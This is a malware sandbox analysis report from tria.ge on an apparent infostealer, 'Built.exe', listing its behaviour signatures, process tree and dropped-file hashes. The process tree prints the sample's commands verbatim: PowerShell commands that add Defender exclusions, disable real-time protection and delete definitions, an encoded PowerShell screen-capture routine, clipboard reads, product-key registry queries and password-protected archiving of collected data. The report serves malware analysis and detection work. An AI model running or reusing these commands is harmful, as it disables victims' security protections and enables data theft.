Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    95s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2025, 20:07

General

  • Target

    Built.exe

  • Size

    5.9MB

  • MD5

    732bd39243a17a3f9171f018efffb376

  • SHA1

    0cbb03427a453203b7fd3994cee583b3aca000b0

  • SHA256

    c58ae92e7e0f601e20255e3827ec2460fe63d940a38665937bc0b8300947b4fc

  • SHA512

    e191ce6fd47c4df376feec2db6bfdd637ca8e6262ef8ecd31566288f522e67649e4968e14b9051ebd15c35abd54d214c1954ebca043d2344e2437942e4795be9

  • SSDEEP

    98304:4KfrAEH3uYDUki65sn6Wfz7pnxCb3AtZC0VZHtKpbzL8SG2XATHsJcskH4nPjZR/:4WrAEXuYDUCDOYbwtZVZibPpG2QrsJca

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 62 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4020
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2076
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:412
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:5116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:408
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4352
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2812
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:536
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3616
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4024
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4980
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:5096
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2864
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:680
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4500
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:388
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eiienhwg\eiienhwg.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:5104
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9114.tmp" "c:\Users\Admin\AppData\Local\Temp\eiienhwg\CSC8709235F1D4ED69CCB262184439E90.TMP"
                6⤵
                  PID:1508
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5052
            • C:\Windows\system32\tree.com
              tree /A /F
              4⤵
                PID:3948
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4856
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:3432
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4984
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:2440
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2704
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4448
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:3452
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1972
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "getmac"
                        3⤵
                          PID:4296
                          • C:\Windows\system32\getmac.exe
                            getmac
                            4⤵
                              PID:1980
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI17362\rar.exe a -r -hp"chuj123" "C:\Users\Admin\AppData\Local\Temp\Vjrvy.zip" *"
                            3⤵
                              PID:1428
                              • C:\Users\Admin\AppData\Local\Temp\_MEI17362\rar.exe
                                C:\Users\Admin\AppData\Local\Temp\_MEI17362\rar.exe a -r -hp"chuj123" "C:\Users\Admin\AppData\Local\Temp\Vjrvy.zip" *
                                4⤵
                                • Executes dropped EXE
                                PID:392
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                              3⤵
                                PID:4904
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic os get Caption
                                  4⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5024
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                3⤵
                                  PID:3348
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic computersystem get totalphysicalmemory
                                    4⤵
                                      PID:3708
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                    3⤵
                                      PID:3356
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic csproduct get uuid
                                        4⤵
                                          PID:232
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                        3⤵
                                          PID:3860
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                            4⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3152
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                          3⤵
                                            PID:4524
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic path win32_VideoController get name
                                              4⤵
                                              • Detects videocard installed
                                              PID:4264
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                            3⤵
                                              PID:4456
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4884

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                          Filesize

                                          3KB

                                          MD5

                                          8740e7db6a0d290c198447b1f16d5281

                                          SHA1

                                          ab54460bb918f4af8a651317c8b53a8f6bfb70cd

                                          SHA256

                                          f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5

                                          SHA512

                                          d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          944B

                                          MD5

                                          2e907f77659a6601fcc408274894da2e

                                          SHA1

                                          9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                          SHA256

                                          385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                          SHA512

                                          34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          944B

                                          MD5

                                          588e5b3406537204588ef39f4c84259f

                                          SHA1

                                          c6056b8139c0796cc6272b7b71fca2085f62b785

                                          SHA256

                                          3b7e7c56deb0f16483d67e60a42a5f0a58ee557790fe0f312d036e4ecc31f7f0

                                          SHA512

                                          f85ea8f8f0c3ea56840a84f42a188f125c13cea8b23f86ddcce8eb28758e816dd6d871154dfe63d250ef369b153f72c587a7a8bccd0a2728b7bc922dd7436e96

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                          Filesize

                                          1KB

                                          MD5

                                          4df4ef707a4d881224b023b119b108e2

                                          SHA1

                                          4e7043ec19dd7d0398b8d59db5f56e96f3c65fa1

                                          SHA256

                                          40b88b00fed4f927b1c8e77beffac4df496ef4f4c768ba8fb751a9cb415ece61

                                          SHA512

                                          54dc66e0cc4bddd984b849d99a505b9639f87bd4beaec4fc2301fbe128bb9168e9c43f2aeed1fa5828b8785ebc7d668c4b2fb1cfa2218f57fe59355d0511f669

                                        • C:\Users\Admin\AppData\Local\Temp\RES9114.tmp

                                          Filesize

                                          1KB

                                          MD5

                                          c79b9737fad38b6d24e2dcf290a90d8e

                                          SHA1

                                          07b5ed948e5c6f6302e08b59ab2f8facafae7256

                                          SHA256

                                          96174ed693112b61be64dc52da8c617a70e1e6120f0ee54827e832595aa27d8b

                                          SHA512

                                          4a93c014a4ab7423292a3f3976415e8852a79f08ed903dfc61320225f8d625277cb9949018a932dea9b35c233697e86daeca34a935cb631d572e321eca9baf97

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI17362\VCRUNTIME140.dll

                                          Filesize

                                          96KB

                                          MD5

                                          f12681a472b9dd04a812e16096514974

                                          SHA1

                                          6fd102eb3e0b0e6eef08118d71f28702d1a9067c

                                          SHA256

                                          d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

                                          SHA512

                                          7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI17362\_bz2.pyd

                                          Filesize

                                          46KB

                                          MD5

                                          f6477a01e4e6bbe3313ac3cf04a1d5f3

                                          SHA1

                                          dd913b071156082831b3d0249a388ea3c63c3d52

                                          SHA256

                                          6992bc1575170af4280681f832f3cc4754d49c6d4347f04c1d45243190ddf09a

                                          SHA512

                                          0cdc6e7754e289296802c1544b36c628c11787ffd8da1be2fb09b43d55766153a52e3a4641910ce20184d175412717254c2c6d0a8ae577b231c9dbeb36a35da0

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI17362\_ctypes.pyd

                                          Filesize

                                          56KB

                                          MD5

                                          69ca8c196ff662dfa9d0bfa8b2472325

                                          SHA1

                                          4cb5d942c7bf6eb43c79c18611d484aa51cd4fb1

                                          SHA256

                                          c703676858f6da01e9d8648b35b4c33a7b323e19ecbc2816051b4e37531ba54c

                                          SHA512

                                          2941bd2a5c217647aaf2401c049a1fdab15ede8e49a3ab0862e089c2df8d1f96b35918751e8b8b4a2304113622b9e132770527a906a345a6b98b0bb9a70398ae

                                        • C:\Users\Admin\AppData\Local\Temp\_MEI17362\_decimal.pyd

                                          Filesize

                                          104KB

                                          MD5

                                          5fdd63c44c1c97d2d40145219acc3f6c

                                          SHA1
